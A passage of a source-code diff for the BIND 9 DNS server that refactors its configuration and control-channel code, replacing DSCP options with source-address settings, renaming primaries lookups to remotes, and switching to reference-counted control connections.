-	DE_CONST(cfg_obj_asstring(classobj), r.base);
+	r.base = UNCONST(cfg_obj_asstring(classobj));
 	r.length = strlen(r.base);
 	result = dns_rdataclass_fromtext(classp, &r);
 	if (result != ISC_R_SUCCESS) {
@@ -429,7 +460,7 @@ named_config_gettype(const cfg_obj_t *typeobj, dns_rdatatype_t deftype,
 		*typep = deftype;
 		return (ISC_R_SUCCESS);
 	}
-	DE_CONST(cfg_obj_asstring(typeobj), r.base);
+	r.base = UNCONST(cfg_obj_asstring(typeobj));
 	r.length = strlen(r.base);
 	result = dns_rdatatype_fromtext(typep, &r);
 	if (result != ISC_R_SUCCESS) {
@@ -446,10 +477,11 @@ named_config_getzonetype(const cfg_obj_t *zonetypeobj) {
 
 	str = cfg_obj_asstring(zonetypeobj);
 	if (strcasecmp(str, "primary") == 0 || strcasecmp(str, "master") == 0) {
-		ztype = dns_zone_master;
+		ztype = dns_zone_primary;
 	} else if (strcasecmp(str, "secondary") == 0 ||
-		   strcasecmp(str, "slave") == 0) {
-		ztype = dns_zone_slave;
+		   strcasecmp(str, "slave") == 0)
+	{
+		ztype = dns_zone_secondary;
 	} else if (strcasecmp(str, "mirror") == 0) {
 		ztype = dns_zone_mirror;
 	} else if (strcasecmp(str, "stub") == 0) {
@@ -459,118 +491,14 @@ named_config_getzonetype(const cfg_obj_t *zonetypeobj) {
 	} else if (strcasecmp(str, "redirect") == 0) {
 		ztype = dns_zone_redirect;
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	return (ztype);
 }
 
-isc_result_t
-named_config_getiplist(const cfg_obj_t *config, const cfg_obj_t *list,
-		       in_port_t defport, isc_mem_t *mctx,
-		       isc_sockaddr_t **addrsp, isc_dscp_t **dscpsp,
-		       uint32_t *countp) {
-	int count, i = 0;
-	const cfg_obj_t *addrlist;
-	const cfg_obj_t *portobj, *dscpobj;
-	const cfg_listelt_t *element;
-	isc_sockaddr_t *addrs;
-	in_port_t port;
-	isc_dscp_t dscp = -1, *dscps = NULL;
-	isc_result_t result;
-
-	INSIST(addrsp != NULL && *addrsp == NULL);
-	INSIST(dscpsp == NULL || *dscpsp == NULL);
-	INSIST(countp != NULL);
-
-	addrlist = cfg_tuple_get(list, "addresses");
-	count = named_config_listcount(addrlist);
-
-	portobj = cfg_tuple_get(list, "port");
-	if (cfg_obj_isuint32(portobj)) {
-		uint32_t val = cfg_obj_asuint32(portobj);
-		if (val > UINT16_MAX) {
-			cfg_obj_log(portobj, named_g_lctx, ISC_LOG_ERROR,
-				    "port '%u' out of range", val);
-			return (ISC_R_RANGE);
-		}
-		port = (in_port_t)val;
-	} else if (defport != 0) {
-		port = defport;
-	} else {
-		result = named_config_getport(config, "port", &port);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	}
-
-	if (dscpsp != NULL) {
-		dscpobj = cfg_tuple_get(list, "dscp");
-		if (dscpobj != NULL && cfg_obj_isuint32(dscpobj)) {
-			if (cfg_obj_asuint32(dscpobj) > 63) {
-				cfg_obj_log(dscpobj, named_g_lctx,
-					    ISC_LOG_ERROR,
-					    "dscp value '%u' is out of range",
-					    cfg_obj_asuint32(dscpobj));
-				return (ISC_R_RANGE);
-			}
-			dscp = (isc_dscp_t)cfg_obj_asuint32(dscpobj);
-		}
-
-		dscps = isc_mem_get(mctx, count * sizeof(isc_dscp_t));
-	}
-
-	addrs = isc_mem_get(mctx, count * sizeof(isc_sockaddr_t));
-
-	for (element = cfg_list_first(addrlist); element != NULL;
-	     element = cfg_list_next(element), i++)
-	{
-		const cfg_obj_t *addr;
-		INSIST(i < count);
-		addr = cfg_listelt_value(element);
-		addrs[i] = *cfg_obj_assockaddr(addr);
-		if (dscpsp != NULL) {
-			isc_dscp_t innerdscp;
-			innerdscp = cfg_obj_getdscp(addr);
-			if (innerdscp == -1) {
-				innerdscp = dscp;
-			}
-			dscps[i] = innerdscp;
-		}
-		if (isc_sockaddr_getport(&addrs[i]) == 0) {
-			isc_sockaddr_setport(&addrs[i], port);
-		}
-	}
-	INSIST(i == count);
-
-	*addrsp = addrs;
-	*countp = count;
-
-	if (dscpsp != NULL) {
-		*dscpsp = dscps;
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-named_config_putiplist(isc_mem_t *mctx, isc_sockaddr_t **addrsp,
-		       isc_dscp_t **dscpsp, uint32_t count) {
-	INSIST(addrsp != NULL && *addrsp != NULL);
-	INSIST(dscpsp == NULL || *dscpsp != NULL);
-
-	isc_mem_put(mctx, *addrsp, count * sizeof(isc_sockaddr_t));
-	*addrsp = NULL;
-
-	if (dscpsp != NULL) {
-		isc_mem_put(mctx, *dscpsp, count * sizeof(isc_dscp_t));
-		*dscpsp = NULL;
-	}
-}
-
 static isc_result_t
-getprimariesdef(const cfg_obj_t *cctx, const char *list, const char *name,
-		const cfg_obj_t **ret) {
+getremotesdef(const cfg_obj_t *cctx, const char *list, const char *name,
+	      const cfg_obj_t **ret) {
 	isc_result_t result;
 	const cfg_obj_t *obj = NULL;
 	const cfg_listelt_t *elt;
@@ -587,7 +515,8 @@ getprimariesdef(const cfg_obj_t *cctx, const char *list, const char *name,
 	while (elt != NULL) {
 		obj = cfg_listelt_value(elt);
 		if (strcasecmp(cfg_obj_asstring(cfg_tuple_get(obj, "name")),
-			       name) == 0) {
+			       name) == 0)
+		{
 			*ret = obj;
 			return (ISC_R_SUCCESS);
 		}
@@ -597,15 +526,20 @@ getprimariesdef(const cfg_obj_t *cctx, const char *list, const char *name,
 }
 
 isc_result_t
-named_config_getprimariesdef(const cfg_obj_t *cctx, const char *name,
-			     const cfg_obj_t **ret) {
+named_config_getremotesdef(const cfg_obj_t *cctx, const char *list,
+			   const char *name, const cfg_obj_t **ret) {
 	isc_result_t result;
 
-	result = getprimariesdef(cctx, "primaries", name, ret);
-	if (result != ISC_R_SUCCESS) {
-		result = getprimariesdef(cctx, "masters", name, ret);
+	if (strcmp(list, "parental-agents") == 0) {
+		return (getremotesdef(cctx, list, name, ret));
+	} else if (strcmp(list, "primaries") == 0) {
+		result = getremotesdef(cctx, list, name, ret);
+		if (result != ISC_R_SUCCESS) {
+			result = getremotesdef(cctx, "masters", name, ret);
+		}
+		return (result);
 	}
-	return (result);
+	return (ISC_R_NOTFOUND);
 }
 
 static isc_result_t
@@ -642,64 +576,54 @@ named_config_getname(isc_mem_t *mctx, const cfg_obj_t *obj,
 	return (ISC_R_SUCCESS);
 }
 
-#define grow_array(mctx, array, newlen, oldlen)                    \
-	if (newlen >= oldlen) {                                    \
-		size_t newsize = (newlen + 16) * sizeof(array[0]); \
-		size_t oldsize = oldlen * sizeof(array[0]);        \
-		void *tmp = isc_mem_get(mctx, newsize);            \
-		memset(tmp, 0, newsize);                           \
-		if (oldlen != 0) {                                 \
-			memmove(tmp, array, oldsize);              \
-			isc_mem_put(mctx, array, oldsize);         \
-		}                                                  \
-		array = tmp;                                       \
-		oldlen = newlen + 16;                              \
+#define grow_array(mctx, array, newlen, oldlen)                          \
+	if (newlen >= oldlen) {                                          \
+		array = isc_mem_creget(mctx, array, oldlen, newlen + 16, \
+				       sizeof(array[0]));                \
+		oldlen = newlen + 16;                                    \
 	}
 
-#define shrink_array(mctx, array, newlen, oldlen)           \
-	if (newlen < oldlen) {                              \
-		void *tmp = NULL;                           \
-		size_t newsize = newlen * sizeof(array[0]); \
-		size_t oldsize = oldlen * sizeof(array[0]); \
-		if (newlen != 0) {                          \
-			tmp = isc_mem_get(mctx, newsize);   \
-			memset(tmp, 0, newsize);            \
-			memmove(tmp, array, newsize);       \
-		} else {                                    \
-			tmp = NULL;                         \
-		}                                           \
-		isc_mem_put(mctx, array, oldsize);          \
-		array = tmp;                                \
-		oldlen = newlen;                            \
+#define shrink_array(mctx, array, newlen, oldlen)                   \
+	if (newlen < oldlen) {                                      \
+		array = isc_mem_creget(mctx, array, oldlen, newlen, \
+				       sizeof(array[0]));           \
+		oldlen = newlen;                                    \
 	}
 
 isc_result_t
-named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
-			     isc_mem_t *mctx, dns_ipkeylist_t *ipkl) {
-	uint32_t addrcount = 0, dscpcount = 0, keycount = 0, tlscount = 0,
-		 i = 0;
-	uint32_t listcount = 0, l = 0, j;
+named_config_getipandkeylist(const cfg_obj_t *config, const char *listtype,
+			     const cfg_obj_t *list, isc_mem_t *mctx,
+			     dns_ipkeylist_t *ipkl) {
+	uint32_t addrcount = 0, srccount = 0;
+	uint32_t keycount = 0, tlscount = 0;
+	uint32_t listcount = 0, l = 0, i = 0;
 	uint32_t stackcount = 0, pushed = 0;
 	isc_result_t result;
 	const cfg_listelt_t *element;
 	const cfg_obj_t *addrlist;
 	const cfg_obj_t *portobj;
-	const cfg_obj_t *dscpobj;
+	const cfg_obj_t *src4obj;
+	const cfg_obj_t *src6obj;
 	in_port_t port = (in_port_t)0;
 	in_port_t def_port;
 	in_port_t def_tlsport;
-	isc_dscp_t dscp = -1;
+	isc_sockaddr_t src4;
+	isc_sockaddr_t src6;
 	isc_sockaddr_t *addrs = NULL;
-	isc_dscp_t *dscps = NULL;
+	isc_sockaddr_t *sources = NULL;
 	dns_name_t **keys = NULL;
 	dns_name_t **tlss = NULL;
 	struct {
 		const char *name;
+		in_port_t port;
+		isc_sockaddr_t *src4s;
+		isc_sockaddr_t *src6s;
 	} *lists = NULL;
 	struct {
 		const cfg_listelt_t *element;
 		in_port_t port;
-		isc_dscp_t dscp;
+		isc_sockaddr_t src4;
+		isc_sockaddr_t src6;
 	} *stack = NULL;
 
 	REQUIRE(ipkl != NULL);
@@ -707,7 +631,6 @@ named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
 	REQUIRE(ipkl->addrs == NULL);
 	REQUIRE(ipkl->keys == NULL);
 	REQUIRE(ipkl->tlss == NULL);
-	REQUIRE(ipkl->dscps == NULL);
 	REQUIRE(ipkl->labels == NULL);
 	REQUIRE(ipkl->allocated == 0);
 
@@ -724,15 +647,11 @@ named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
 		goto cleanup;
 	}
 
-	result = named_config_getdscp(config, &dscp);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
 newlist:
 	addrlist = cfg_tuple_get(list, "addresses");
 	portobj = cfg_tuple_get(list, "port");
-	dscpobj = cfg_tuple_get(list, "dscp");
+	src4obj = cfg_tuple_get(list, "source");
+	src6obj = cfg_tuple_get(list, "source-v6");
 
 	if (cfg_obj_isuint32(portobj)) {
 		uint32_t val = cfg_obj_asuint32(portobj);
@@ -745,15 +664,16 @@ named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
 		port = (in_port_t)val;
 	}
 
-	if (dscpobj != NULL && cfg_obj_isuint32(dscpobj)) {
-		if (cfg_obj_asuint32(dscpobj) > 63) {
-			cfg_obj_log(dscpobj, named_g_lctx, ISC_LOG_ERROR,
-				    "dscp value '%u' is out of range",
-				    cfg_obj_asuint32(dscpobj));
-			result = ISC_R_RANGE;
-			goto cleanup;
-		}
-		dscp = (isc_dscp_t)cfg_obj_asuint32(dscpobj);
+	if (src4obj != NULL && cfg_obj_issockaddr(src4obj)) {
+		src4 = *cfg_obj_assockaddr(src4obj);
+	} else {
+		isc_sockaddr_any(&src4);
+	}
+
+	if (src6obj != NULL && cfg_obj_issockaddr(src6obj)) {
+		src6 = *cfg_obj_assockaddr(src6obj);
+	} else {
+		isc_sockaddr_any6(&src6);
 	}
 
 	result = ISC_R_NOMEMORY;
@@ -766,13 +686,14 @@ named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
 		const cfg_obj_t *tls;
 
 		addr = cfg_tuple_get(cfg_listelt_value(element),
-				     "primarieselement");
+				     "remoteselement");
 		key = cfg_tuple_get(cfg_listelt_value(element), "key");
 		tls = cfg_tuple_get(cfg_listelt_value(element), "tls");
 
 		if (!cfg_obj_issockaddr(addr)) {
 			const char *listname = cfg_obj_asstring(addr);
 			isc_result_t tresult;
+			uint32_t j;
 
 			/* Grow lists? */
 			grow_array(mctx, lists, l, listcount);
@@ -787,11 +708,11 @@ named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
 				continue;
 			}
 			list = NULL;
-			tresult = named_config_getprimariesdef(config, listname,
-							       &list);
+			tresult = named_config_getremotesdef(config, listtype,
+							     listname, &list);
 			if (tresult == ISC_R_NOTFOUND) {
 				cfg_obj_log(addr, named_g_lctx, ISC_LOG_ERROR,
-					    "primaries \"%s\" not found",
+					    "%s \"%s\" not found", listtype,
 					    listname);
 
 				result = tresult;
@@ -809,21 +730,18 @@ named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
 			 */
 			stack[pushed].element = cfg_list_next(element);
 			stack[pushed].port = port;
-			stack[pushed].dscp = dscp;
+			stack[pushed].src4 = src4;
+			stack[pushed].src6 = src6;
 			pushed++;
 			goto newlist;
 		}
 
 		grow_array(mctx, addrs, i, addrcount);
-		grow_array(mctx, dscps, i, dscpcount);
 		grow_array(mctx, keys, i, keycount);
 		grow_array(mctx, tlss, i, tlscount);
+		grow_array(mctx, sources, i, srccount);
 
 		addrs[i] = *cfg_obj_assockaddr(addr);
-		dscps[i] = cfg_obj_getdscp(addr);
-		if (dscps[i] == -1) {
-			dscps[i] = dscp;
-		}
 
 		result = named_config_getname(mctx, key, &keys[i]);
 		if (result != ISC_R_SUCCESS) {
@@ -839,49 +757,67 @@ named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
 			goto cleanup;
 		}
 
-		/* Set the default port or tls-port */
-		if (port == 0) {
-			if (tlss[i] != NULL) {
-				port = def_tlsport;
-			} else {
-				port = def_port;
+		/* If the port is unset, take it from one of the upper levels */
+		if (isc_sockaddr_getport(&addrs[i]) == 0) {
+			in_port_t addr_port = port;
+
+			/* If unset, use the default port or tls-port */
+			if (addr_port == 0) {
+				if (tlss[i] != NULL) {
+					addr_port = def_tlsport;
+				} else {
+					addr_port = def_port;
+				}
 			}
+
+			isc_sockaddr_setport(&addrs[i], addr_port);
 		}
 
-		if (isc_sockaddr_getport(&addrs[i]) == 0) {
-			isc_sockaddr_setport(&addrs[i], port);
+		switch (isc_sockaddr_pf(&addrs[i])) {
+		case PF_INET:
+			sources[i] = src4;
+			break;
+		case PF_INET6:
+			sources[i] = src6;
+			break;
+		default:
+			i++; /* Increment here so that cleanup on error works.
+			      */
+			result = ISC_R_NOTIMPLEMENTED;
+			goto cleanup;
 		}
+
 		i++;
 	}
 	if (pushed != 0) {
 		pushed--;
 		element = stack[pushed].element;
 		port = stack[pushed].port;
-		dscp = stack[pushed].dscp;
+		src4 = stack[pushed].src4;
+		src6 = stack[pushed].src6;
 		goto resume;
 	}
 
 	shrink_array(mctx, addrs, i, addrcount);
-	shrink_array(mctx, dscps, i, dscpcount);
 	shrink_array(mctx, keys, i, keycount);
 	shrink_array(mctx, tlss, i, tlscount);
+	shrink_array(mctx, sources, i, srccount);
 
 	if (lists != NULL) {
-		isc_mem_put(mctx, lists, listcount * sizeof(lists[0]));
+		isc_mem_cput(mctx, lists, listcount, sizeof(lists[0]));
 	}
 	if (stack != NULL) {
-		isc_mem_put(mctx, stack, stackcount * sizeof(stack[0]));
+		isc_mem_cput(mctx, stack, stackcount, sizeof(stack[0]));
 	}
 
-	INSIST(dscpcount == addrcount);
 	INSIST(keycount == addrcount);
 	INSIST(tlscount == addrcount);
-	INSIST(keycount == dscpcount);
+	INSIST(srccount == addrcount);
 
 	ipkl->addrs = addrs;
-	ipkl->dscps = dscps;
 	ipkl->keys = keys;
 	ipkl->tlss = tlss;
+	ipkl->sources = sources;
 	ipkl->count = addrcount;
 	ipkl->allocated = addrcount;
 
@@ -889,13 +825,10 @@ named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
 
 cleanup:
 	if (addrs != NULL) {
-		isc_mem_put(mctx, addrs, addrcount * sizeof(addrs[0]));
-	}
-	if (dscps != NULL) {
-		isc_mem_put(mctx, dscps, dscpcount * sizeof(dscps[0]));
+		isc_mem_cput(mctx, addrs, addrcount, sizeof(addrs[0]));
 	}
 	if (keys != NULL) {
-		for (j = 0; j < i; j++) {
+		for (size_t j = 0; j < i; j++) {
 			if (keys[j] == NULL) {
 				continue;
 			}
@@ -904,10 +837,10 @@ named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
 			}
 			isc_mem_put(mctx, keys[j], sizeof(*keys[j]));
 		}
-		isc_mem_put(mctx, keys, keycount * sizeof(keys[0]));
+		isc_mem_cput(mctx, keys, keycount, sizeof(keys[0]));
 	}
 	if (tlss != NULL) {
-		for (j = 0; j < i; j++) {
+		for (size_t j = 0; j < i; j++) {
 			if (tlss[j] == NULL) {
 				continue;
 			}
@@ -916,13 +849,16 @@ named_config_getipandkeylist(const cfg_obj_t *config, const cfg_obj_t *list,
 			}
 			isc_mem_put(mctx, tlss[j], sizeof(*tlss[j]));
 		}
-		isc_mem_put(mctx, tlss, tlscount * sizeof(tlss[0]));
+		isc_mem_cput(mctx, tlss, tlscount, sizeof(tlss[0]));
+	}
+	if (sources != NULL) {
+		isc_mem_cput(mctx, sources, srccount, sizeof(sources[0]));
 	}
 	if (lists != NULL) {
-		isc_mem_put(mctx, lists, listcount * sizeof(lists[0]));
+		isc_mem_cput(mctx, lists, listcount, sizeof(lists[0]));
 	}
 	if (stack != NULL) {
-		isc_mem_put(mctx, stack, stackcount * sizeof(stack[0]));
+		isc_mem_cput(mctx, stack, stackcount, sizeof(stack[0]));
 	}
 	return (result);
 }
@@ -956,32 +892,6 @@ named_config_getport(const cfg_obj_t *config, const char *type,
 	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
-named_config_getdscp(const cfg_obj_t *config, isc_dscp_t *dscpp) {
-	const cfg_obj_t *options = NULL;
-	const cfg_obj_t *dscpobj = NULL;
-	isc_result_t result;
-
-	(void)cfg_map_get(config, "options", &options);
-	if (options == NULL) {
-		return (ISC_R_SUCCESS);
-	}
-
-	result = cfg_map_get(options, "dscp", &dscpobj);
-	if (result != ISC_R_SUCCESS || dscpobj == NULL) {
-		*dscpp = -1;
-		return (ISC_R_SUCCESS);
-	}
-	if (cfg_obj_asuint32(dscpobj) >= 64) {
-		cfg_obj_log(dscpobj, named_g_lctx, ISC_LOG_ERROR,
-			    "dscp '%u' out of range",
-			    cfg_obj_asuint32(dscpobj));
-		return (ISC_R_RANGE);
-	}
-	*dscpp = (isc_dscp_t)cfg_obj_asuint32(dscpobj);
-	return (ISC_R_SUCCESS);
-}
-
 struct keyalgorithms {
 	const char *str;
 	enum {
@@ -1006,14 +916,8 @@ struct keyalgorithms {
 		   { NULL, hmacnone, DST_ALG_UNKNOWN, 0 } };
 
 isc_result_t
-named_config_getkeyalgorithm(const char *str, const dns_name_t **name,
+named_config_getkeyalgorithm(const char *str, unsigned int *typep,
 			     uint16_t *digestbits) {
-	return (named_config_getkeyalgorithm2(str, name, NULL, digestbits));
-}
-
-isc_result_t
-named_config_getkeyalgorithm2(const char *str, const dns_name_t **name,
-			      unsigned int *typep, uint16_t *digestbits) {
 	int i;
 	size_t len = 0;
 	uint16_t bits;
@@ -1044,37 +948,7 @@ named_config_getkeyalgorithm2(const char *str, const dns_name_t **name,
 	} else {
 		bits = algorithms[i].size;
 	}
-
-	if (name != NULL) {
-		switch (algorithms[i].hmac) {
-		case hmacmd5:
-			*name = dns_tsig_hmacmd5_name;
-			break;
-		case hmacsha1:
-			*name = dns_tsig_hmacsha1_name;
-			break;
-		case hmacsha224:
-			*name = dns_tsig_hmacsha224_name;
-			break;
-		case hmacsha256:
-			*name = dns_tsig_hmacsha256_name;
-			break;
-		case hmacsha384:
-			*name = dns_tsig_hmacsha384_name;
-			break;
-		case hmacsha512:
-			*name = dns_tsig_hmacsha512_name;
-			break;
-		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
-		}
-	}
-	if (typep != NULL) {
-		*typep = algorithms[i].type;
-	}
-	if (digestbits != NULL) {
-		*digestbits = bits;
-	}
+	SET_IF_NOT_NULL(typep, algorithms[i].type);
+	SET_IF_NOT_NULL(digestbits, bits);
 	return (ISC_R_SUCCESS);
 }
diff --git a/bin/named/control.c b/bin/named/control.c
index 55a469925d..7f07db1240 100644
--- a/bin/named/control.c
+++ b/bin/named/control.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,19 +15,15 @@
 
 #include <stdbool.h>
 
-#include <isc/app.h>
-#include <isc/event.h>
 #include <isc/lex.h>
 #include <isc/mem.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/timer.h>
 #include <isc/util.h>
 
-#include <dns/result.h>
-
 #include <isccc/alist.h>
 #include <isccc/cc.h>
-#include <isccc/result.h>
 
 #include <named/control.h>
 #include <named/globals.h>
@@ -59,7 +57,7 @@ getcommand(isc_lex_t *lex, char **cmdp) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline bool
+static bool
 command_compare(const char *str, const char *command) {
 	return (strcasecmp(str, command) == 0);
 }
@@ -98,10 +96,7 @@ named_control_docommand(isccc_sexpr_t *message, bool readonly,
 		return (result);
 	}
 
-	result = isc_lex_create(named_g_mctx, strlen(cmdline), &lex);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	isc_lex_create(named_g_mctx, strlen(cmdline), &lex);
 
 	isc_buffer_init(&src, cmdline, strlen(cmdline));
 	isc_buffer_add(&src, strlen(cmdline));
@@ -175,9 +170,8 @@ named_control_docommand(isccc_sexpr_t *message, bool readonly,
 			named_smf_want_disable = 1;
 		}
 		/*
-		 * If named_smf_got_instance = 0, named_smf_chroot
-		 * is not relevant and we fall through to
-		 * isc_app_shutdown below.
+		 * If named_smf_got_instance = 0, named_smf_chroot is
+		 * not relevant and we fall through to shutdown below.
 		 */
 #endif /* ifdef HAVE_LIBSCF */
 		/* Do not flush master files */
@@ -218,6 +212,8 @@ named_control_docommand(isccc_sexpr_t *message, bool readonly,
 		result = ISC_R_SUCCESS;
 	} else if (command_compare(command, NAMED_COMMAND_DUMPSTATS)) {
 		result = named_server_dumpstats(named_g_server);
+	} else if (command_compare(command, NAMED_COMMAND_FETCHLIMIT)) {
+		result = named_server_fetchlimit(named_g_server, lex, text);
 	} else if (command_compare(command, NAMED_COMMAND_FLUSH)) {
 		result = named_server_flushcache(named_g_server, lex);
 	} else if (command_compare(command, NAMED_COMMAND_FLUSHNAME)) {
@@ -278,15 +274,8 @@ named_control_docommand(isccc_sexpr_t *message, bool readonly,
 		   command_compare(command, NAMED_COMMAND_UNFREEZE))
 	{
 		result = named_server_freeze(named_g_server, false, lex, text);
-	} else if (command_compare(command, NAMED_COMMAND_TIMERPOKE)) {
-		isc_timermgr_poke(named_g_timermgr);
-		result = ISC_R_SUCCESS;
 	} else if (command_compare(command, NAMED_COMMAND_TRACE)) {
 		result = named_server_setdebuglevel(named_g_server, lex);
-	} else if (command_compare(command, NAMED_COMMAND_TSIGDELETE)) {
-		result = named_server_tsigdelete(named_g_server, lex, text);
-	} else if (command_compare(command, NAMED_COMMAND_TSIGLIST)) {
-		result = named_server_tsiglist(named_g_server, text);
 	} else if (command_compare(command, NAMED_COMMAND_VALIDATION)) {
 		result = named_server_validation(named_g_server, lex, text);
 	} else if (command_compare(command, NAMED_COMMAND_ZONESTATUS)) {
diff --git a/bin/named/controlconf.c b/bin/named/controlconf.c
index 00897d1b53..57783d19af 100644
--- a/bin/named/controlconf.c
+++ b/bin/named/controlconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,10 +16,9 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
-#include <isc/app.h>
+#include <isc/async.h>
 #include <isc/base64.h>
 #include <isc/buffer.h>
-#include <isc/event.h>
 #include <isc/file.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
@@ -26,32 +27,30 @@
 #include <isc/netmgr.h>
 #include <isc/nonce.h>
 #include <isc/random.h>
+#include <isc/refcount.h>
 #include <isc/result.h>
 #include <isc/stdtime.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/util.h>
 
-#include <dns/result.h>
-
 #include <isccc/alist.h>
 #include <isccc/cc.h>
 #include <isccc/ccmsg.h>
-#include <isccc/events.h>
-#include <isccc/result.h>
 #include <isccc/sexpr.h>
 #include <isccc/symtab.h>
 #include <isccc/util.h>
 
+#include <isccfg/check.h>
 #include <isccfg/namedconf.h>
 
-#include <bind9/check.h>
-
 #include <named/config.h>
 #include <named/control.h>
 #include <named/log.h>
+#include <named/main.h>
 #include <named/server.h>
 
+#undef NAMED_CONTROLCONF_TRACE
+
 typedef struct controlkey controlkey_t;
 typedef ISC_LIST(controlkey_t) controlkeylist_t;
 
@@ -69,12 +68,8 @@ struct controlkey {
 };
 
 struct controlconnection {
-	isc_nmhandle_t *readhandle;
-	isc_nmhandle_t *sendhandle;
-	isc_nmhandle_t *cmdhandle;
+	isc_refcount_t references;
 	isccc_ccmsg_t ccmsg;
-	bool reading;
-	bool sending;
 	controllistener_t *listener;
 	isccc_sexpr_t *ctrl;
 	isc_buffer_t *buffer;
@@ -87,6 +82,7 @@ struct controlconnection {
 	isc_stdtime_t now;
 	isc_result_t result;
 	ISC_LINK(controlconnection_t) link;
+	bool shuttingdown;
 };
 
 struct controllistener {
@@ -96,7 +92,7 @@ struct controllistener {
 	isc_nmsocket_t *sock;
 	dns_acl_t *acl;
 	bool exiting;
-	isc_refcount_t refs;
+	isc_refcount_t references;
 	controlkeylist_t keys;
 	isc_mutex_t connections_lock;
 	controlconnectionlist_t connections;
@@ -111,7 +107,7 @@ struct controllistener {
 struct named_controls {
 	named_server_t *server;
 	controllistenerlist_t listeners;
-	atomic_bool shuttingdown;
+	bool shuttingdown;
 	isc_mutex_t symtab_lock;
 	isccc_symtab_t *symtab;
 };
@@ -120,6 +116,35 @@ static isc_result_t
 control_newconn(isc_nmhandle_t *handle, isc_result_t result, void *arg);
 static void
 control_recvmessage(isc_nmhandle_t *handle, isc_result_t result, void *arg);
+static void
+conn_cleanup(controlconnection_t *conn);
+static void
+conn_free(controlconnection_t *conn);
+
+#if NAMED_CONTROLCONF_TRACE
+#define controllistener_ref(ptr) \
+	controllistener__ref(ptr, __func__, __FILE__, __LINE__)
+#define controllistener_unref(ptr) \
+	controllistener__unref(ptr, __func__, __FILE__, __LINE__)
+#define controllistener_attach(ptr, ptrp) \
+	controllistener__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define controllistener_detach(ptrp) \
+	controllistener__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(controllistener);
+
+#define controlconnection_ref(ptr) \
+	controlconnection__ref(ptr, __func__, __FILE__, __LINE__)
+#define controlconnection_unref(ptr) \
+	controlconnection__unref(ptr, __func__, __FILE__, __LINE__)
+#define controlconnection_attach(ptr, ptrp) \
+	controlconnection__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define controlconnection_detach(ptrp) \
+	controlconnection__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(controlconnection);
+#else
+ISC_REFCOUNT_DECL(controllistener);
+ISC_REFCOUNT_DECL(controlconnection);
+#endif
 
 #define CLOCKSKEW 300
 
@@ -148,11 +173,9 @@ free_listener(controllistener_t *listener) {
 	INSIST(listener->exiting);
 	INSIST(ISC_LIST_EMPTY(listener->connections));
 
-	isc_refcount_destroy(&listener->refs);
+	isc_refcount_destroy(&listener->references);
 
-	if (listener->sock != NULL) {
-		isc_nmsocket_close(&listener->sock);
-	}
+	REQUIRE(listener->sock == NULL);
 
 	free_controlkeylist(&listener->keys, listener->mctx);
 
@@ -164,18 +187,27 @@ free_listener(controllistener_t *listener) {
 	isc_mem_putanddetach(&listener->mctx, listener, sizeof(*listener));
 }
 
-static void
-maybe_free_listener(controllistener_t *listener) {
-	if (isc_refcount_decrement(&listener->refs) == 1) {
-		free_listener(listener);
-	}
-}
+#if NAMED_CONTROLCONF_TRACE
+ISC_REFCOUNT_TRACE_IMPL(controllistener, free_listener);
+ISC_REFCOUNT_TRACE_IMPL(controlconnection, conn_free);
+#else
+ISC_REFCOUNT_IMPL(controllistener, free_listener);
+ISC_REFCOUNT_IMPL(controlconnection, conn_free);
+#endif
 
 static void
 shutdown_listener(controllistener_t *listener) {
 	if (!listener->exiting) {
 		char socktext[ISC_SOCKADDR_FORMATSIZE];
 
+		for (controlconnection_t *conn =
+			     ISC_LIST_HEAD(listener->connections);
+		     conn != NULL; conn = ISC_LIST_HEAD(listener->connections))
+		{
+			control_recvmessage(conn->ccmsg.handle,
+					    ISC_R_SHUTTINGDOWN, conn);
+		}
+
 		ISC_LIST_UNLINK(listener->controls->listeners, listener, link);
 
 		isc_sockaddr_format(&listener->address, socktext,
@@ -193,7 +225,8 @@ shutdown_listener(controllistener_t *listener) {
 	}
 
 	isc_nm_stoplistening(listener->sock);
-	maybe_free_listener(listener);
+	isc_nmsocket_close(&listener->sock);
+	controllistener_detach(&listener);
 }
 
 static bool
@@ -222,18 +255,12 @@ control_senddone(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
